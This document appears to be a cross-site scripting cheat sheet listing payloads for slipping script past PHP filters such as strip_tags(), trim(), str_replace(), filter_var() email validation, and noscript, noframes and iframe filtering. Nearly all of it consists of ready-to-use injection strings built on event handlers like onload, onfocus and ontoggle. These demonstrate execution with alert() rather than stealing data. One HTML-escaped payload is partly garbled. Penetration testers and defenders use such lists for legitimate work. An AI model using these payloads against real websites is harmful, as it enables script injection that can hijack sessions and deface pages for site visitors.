👑PHP Function Bypass

Learn to Bypass 3 functions

htmlspecialchars() to avoid XSS,

trim() to avoid spaces,

stripslashes() to remove backslashes.

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PHP Strip-Tags Based function Bypass

Use when filter strips out anything between a < and > characters like PHP’s strip_tags() function. Inline injection only.

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"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//
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PHP Spell Checker function Bypass

Use to bypass PHP’s pspell_new function which provides a dictionary to try to guess the input used to search. A “Did You Mean” Google-like feature for search fields.

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<svg onload=alert(1)>
<script>alert(1)</script>
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PHP Email Validation Bypass

Use to bypass the FILTER_VALIDATE_EMAIL flag of PHP’s filter_var() function.

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"><svg/onload=alert(1)>"@x.y
"><svg/onload=confirm(1)>"@x.y
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Bypass PHP trim() Function to avoid spaces in Payload

<details/open/ontoggle="alert`1`">

<xmp><p title="</xmp><svg/onload=alert(45)>">

<noscript><p title="</noscript><svg/onload=alert(45)>">

<iframe><p title="</iframe><svg/onload=alert(45)>">

<noscript><p title="</noscript><svg/onload=alert(45)>">

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Bypass PHP str_replace() Function to Replace Null Value: '_'

<details/open/ontoggle="alert`1`">

<div onpointerover="alert(45)">MOVE HERE</div>

<audio src=1 href=1 onerror="javascript:alert(1)"></audio>

<video src=1 href=1 onerror="javascript:alert(1)"></video>

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Bypass <NoScript> XSS filter using HTML Escape

<noscript><p title="</noscript><svg/onload=alert(45)>">

and other Payload using HTML Escape:

<noscript> &amp;lt;p title=” &lt;/noscript&gt;&lt;style onload= alert(document.domain)//&quot;&gt; *{/*all*/color/*all*/:/*all*/#f78fb3/*all*/;} &lt;/style&gt;

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Bypass <NoFrames> XSS filter

<noframes><p title="</noframes><svg/onload=alert(45)>">

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Bypass <iframe> XSS filter

<iframe><p title="</iframe><svg/onload=alert(45)>">

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Learn to Bypass the Discover functions:

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